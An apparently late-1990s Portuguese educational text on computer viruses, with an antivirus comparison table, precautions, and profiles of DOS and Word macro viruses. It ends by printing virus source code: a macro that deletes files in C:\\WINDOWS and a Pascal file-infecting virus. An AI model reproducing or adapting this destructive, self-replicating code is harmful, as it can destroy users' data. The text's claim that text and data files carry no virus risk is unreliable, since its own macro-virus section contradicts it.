	COMPACTADOS / NÃO COMPACTADOS	COMPACTADOS / NÃO COMPACTADOS	COMPACTADOS / NÃO COMPACTADOS
Dr.Salomon's 7.73	Não / Sim	Não / Sim	Não / Não
F-Prot 3.01	Não / Sim	Não / Sim	Não / Não
Imune Vírus II 2.0	Sim / Sim	Sim / Sim	Sim / Sim
Inoculan 5.0	Não / Sim	Não / Sim	Sim / Não
Norton AntiVírus 4.0	Sim / Sim	Não / Sim	Não / Não
PC-cillin 97 2.10	Sim / Sim	Sim / Sim	Sim / Sim
Sweep	Não / Sim	Não / Sim	Não / Não
TBAV	Não / Sim	Não / Sim	Não / Não
VirusScan 3.11	Não / Sim	Não / Sim	Sim / Não

2.7. Outros Cuidados Usando a Internet

Se você copia arquivos de programas pela Internet a partir de instalações FTP ou de outros computadores, ou usa disquetes para transferir dados entre computadores, é bem possível que seu computador pegue um vírus. Entretanto você não precisa se preocupar em pegar vírus quando carregar arquivos de texto ou de dados pela Internet.

Um arquivo de programa carregado da Internet ou transferido de qualquer outro computador pode estar infectado por um vírus. Disquetes usados em outros computadores também são passíveis de estarem infectados. Os vírus são específicos para as plataformas porque os arquivos de programa que infectam são feitos para serem executados em um tipo de computadores. Os computadores executando MS-DOS parecem ter maiores riscos que outros tipos de computadores, provavelmente devido ao maior número de computadores MS-DOS no mundo. Entretanto, outros tipos de computadores - especialmente os das linhas Macintosh e Amiga, e sistemas Unix - também correm riscos.

2.8. Mais Precauções

Ao executar um programa infectado ou dar um BOOT de um disco infectado, o vírus anexa cópias de si mesmo em outros programas e discos usados pelo computador.

Os vírus podem danificar o software, corrompendo arquivos de programas ou de dados que passam a se comportar erraticamente. Um vírus pode alterar os arquivos de sistema necessários ao computador quando este é ligado. Um vírus pode desordenar o sistema de diretórios nos discos, provocando a perda do registro dos outros arquivos.

Programas chamados vasculhadores (anti-vírus) procuram vírus e alertam sua presença. Alguns vasculhadores verificam todos os arquivos que chegam ao computador à procura de vírus. Programas de monitoração vigiam as operações do computador, procurando sinais de que um ataque de vírus pode estar se iniciando.

Alguns programas desinfetam, ou removem, os vírus. Programas desinfetantes não funcionam com todos os tipos de vírus, pois alguns vírus aderem ao topo de um programa executável. Quando este programa é executado, o vírus inicia seu trabalho sujo. A partir do momento em que o programa de vírus está em execução, ele toma conta do resto do programa executável original. Pode-se não perceber que o programa está infectado até que o vírus comece a causar problemas.

Uma excelente maneira de proteger seus programas é fazer cópias regulares de todos os seus arquivos. Ao descobrir que o computador foi infectado basta descartar os arquivos infectados, reformatar o disco e reinstalar os programas a partir de suas cópias de segurança. Dá bastante trabalho, mas em alguns casos é a única alternativa.

2.9. Ficha técnica com as características de alguns vírus

2.9.1. Halloween

Ativação: em 31 de outubro.

Características: Halloween é um vírus de infecção de arquivos que não se torna residente na memória. Ele ataca diretamente arquivos tipo .COM e .EXE (de dados e executáveis), incluindo o COMMAND.COM.

O que faz: torna o micro mais lento, fazendo com que arquivos e documentos demorem entre dois e cinco minutos para serem abertos. Os arquivos infectados também aumentam 10 000 bytes em tamanho.

Como atua: cada vez que um arquivo contaminado é executado, o arquivo procura no mesmo diretório um arquivo executável (.EXE). Se não achar um arquivo .EXE não-contaminado, procura um .COM. Se todos os arquivos .COM e .EXE estiverem contaminados, o usuário recebe uma mensagem que diz: "Runntime error 002 at 0000:0511"

Sintomas de infecção: os arquivos infectados por Halloween passam a ter as seguintes linhas de texto:

". *" / "ALL GONE" / "Happy Halloween"*

2.9.2. Leandro & Kelly

Ativação: em 21 de outubro.

Características: Leandro & Kelly é um vírus residente em memória que infecta o setor Master Boot Record (MBR).

O que faz: o vírus causa mudanças no setor MBR do sistema, fazendo com que o usuário tenha dificuldade para inicializar o micro e dificuldade no acesso a drives de disquetes.

Como atua: a única forma de infectar um computador com vírus de MBR é tentar inicializar a máquina usando um disquete de boot contaminado. Depois da contaminação, o vírus se instala também no setor de MBR do disco rígido e se torna residente na memória.

Sintomas de infecção: no dia 21 de outubro, o vírus exibe no monitor a seguinte mensagem:

"Leandro & Kelly!" / "GV-MG-Brazil" (e a data de infecção)

2.9.3. Jerusalém/Anarkia

Características: Anarkia é uma variante do vírus Jerusalém. Tem o efeito de derrubar o desempenho do sistema e deletar arquivos executados. A diferença em relação ao Jerusalem é que não apresenta a caixa preta que o identifica no monitor. Trata-se de um vírus residente em memória que infecta arquivos tipo .COM, .EXE, .SYS, .BIN, .PIF e .OVL. Vários vírus foram desenvolvidos tomando o código do Jerusalem como base.

Ativação: o vírus Jerusalem é ativado nas sextas-feiras dia 13; o Anarkia, nas terças-feiras 13 e, o Anarkia-B, no dia 12 de outubro.

O que faz: torna o micro mais lento e, no dia de sua ativação, deleta todo arquivo que o usuário tentar executar.

Sintomas de infecção: os arquivos .COM infectados ganham 1 813 bytes adicionais e arquivos .EXE ganham entre 1 808 e 1 822 bytes.

2.9.4. Bad.a

Ativação: dia 13 de todo mês

Características: vírus de macro brasileiro que infecta documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: deleta todos os arquivos .DLL do diretório c:\windows\system, provocando problemas operacionais, e também exibe uma mensagem em português na barra de status.

Como atua: o vírus consiste da macro AUTOOPEN nos documentos infectados. Torna-se ativo usando o AutoMacros. Todas as macros são encriptadas, impedindo que o usuário as edite ou veja os seus códigos.

Sintomas de infecção: ao abrir um documento, existe uma chance em 40 de que o vírus exibirá, na barra de status do Word, a mensagem:

BAD v1.0 Copyright (c) 1997, Todos os direitos reservados

Se esta rotina for ativada num dia 13 de qualquer mês, o vírus em seguida deleta os arquivos .DLL do diretório c:\windows\system.

2.9.5. Father Christmas

Ativação: 19 a 31 de dezembro

Características: vírus descoberto na Polônia, também conhecido como Choinka, que é baseado no vírus Vienna. Trata-se de um vírus infector não-residente em arquivos .COM e no COMMAND.COM.

O que faz: exibe uma árvore de Natal no seu monitor.

Como atua: quando um programa contaminado com Father Christmas é executado, o vírus infecta um outro arquivo .COM no diretório corrente. Se não houver arquivos .COM não-contaminados nesse diretório, o vírus procura um arquivo para contaminar nos diretórios acima ou abaixo dele, na árvore do sistema.

Sintomas de contaminação: no período entre 19 e 31 de dezembro, quando arquivos contaminados são executados, um desenho de árvores de Natal é exibido na tela com a seguinte mensagem:

"Merry Christmas / & / a Happy New Year / for all my lovely friends / from FATHER CHRISTMAS"

2.10. Programas fontes de Vírus

Programa fonte de um vírus de Macro

```
Sub MAIN
Kill "C:;*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub
```

Outro programa fonte de um vírus de Macro

```
ArquivoNovoPadrão
Inserir "Shadow"
ArquivoNovoPadrão
Inserir "Net"
ArquivoNovoPadrão
Inserir "Killer"
ArquivoNovoPadrão
Inserir "Shadow Net Killer "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
```

```
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "Shadow Net Killer "
End-Sub
```

Programa fonte de um vírus em Pascal

```

{C-}
{U-}
{I -} {Não permita BREAK, ligue I?O check}
{-- Constantes -----}
Const
VirusSize = 12031; {tamanho do Vírus}
Warning : String [ 42 ] {Aviso}
= 'Este arquivo foi contaminado pelo Number
One';
{-- Declaração de Types -----}
Type
DTARec = Record {Área de dados para }
DOSnext : Array [1..21] of Byte {busca do
arquivo}
Attr : Byte;
Ftime,
Fdate,
FLSize,
FHSize : Interger;
FullName : Array [1..13] of char;
End;
Registers = Record { Registro usado na busca
de arq}
Case Byte of
1 : (AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags
: Interger );
2 : ( AL, AH, BL, BH, CL, CH, DL, DH : Byte
);
End;
{-- Variáveis -----}
Var
{Offset de memória do código do programa}
ProgramStart : Byte absolute Cseg:$100;
{Marcador da Contaminação}
Markinfected : String [42] absolute Cseg:$180;
Reg : Registers; {Conjunto de Registros}
Dta : DTARec; {Área de Dados}
Buffer : Array [Byte] of Byte; {Armazem}
TestID : String [42]; {P/reconhecer vírus }
UsePath : String[66]; {Path p/ pesquisa}
UsePathklength : Byte absolute UsePath;
Go : File; {Arquivo a contaminar}
B : Byte; {Uso geral}
{-- Código Principal-----}
Begin
WriteLn (Warning); {Apresenta Mensagem na
Tela}
GetDir (0, UsePath); {Pegue o dir corrente}
if Pos('\', UsePath) < >UsePathLength then
UsePath := UsePAth + '\';

```

```

UsePath := UsePAth + '* .COM';
Reg.AH := $1A;
Reg.DS := Seg (DTA);
Reg.DX := Ofs (DTA);
MsDos (Reg);
UsePath[Succ(UsePathlength)] := # 0; {
termina com # 0 }
Reg. AH := $ 4E;
Reg. DS := Seg(UsePath);
Reg. DX := Ofs (UsePath[1]);
Reg. CX := $ff {Defina atributo p/todos os
arq.}
MsDos(Reg); {Ache primeira
correspondência}
If not Odd(Reg.Flags) Then {Se arquivo
achado . . . }
Repeat
UsePath := DTA.FullName;
B := Pos (#0,UsePAth);
If B>0 Then
Delete(UsePath,B,255); {Delete lixo}
Assign(Go,UsePath);
Reset(Go);
If IOresult = 0 Then
Begin
BlockRead(Go,Buffer,2);
Move (Buffer[$80],TestID,43);
{Teste se o arquivo já' esta' contaminado}
If TestID<>Warning Then {Não está}
Begin
Seek(Go,0);
{Marque "contaminada"}
MarkInfected := Warning;
{Contamine-a}
BlockWrite(Go,ProgramStart,
Succ(VirusSize shr 7));
Close(Go);
{Informe o que aconteceu}
WriteLn(UsePath + 'contaminado. ');
Halt; {... e trave o programa}
End;
Close(Go);
End;
{ O arquivo já' esta' contaminado... }
{Procure outro.}
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg );
{Até não achar mais}
Until Odd(Reg.Flags);
Write(' '); {Sorriso}
End.

```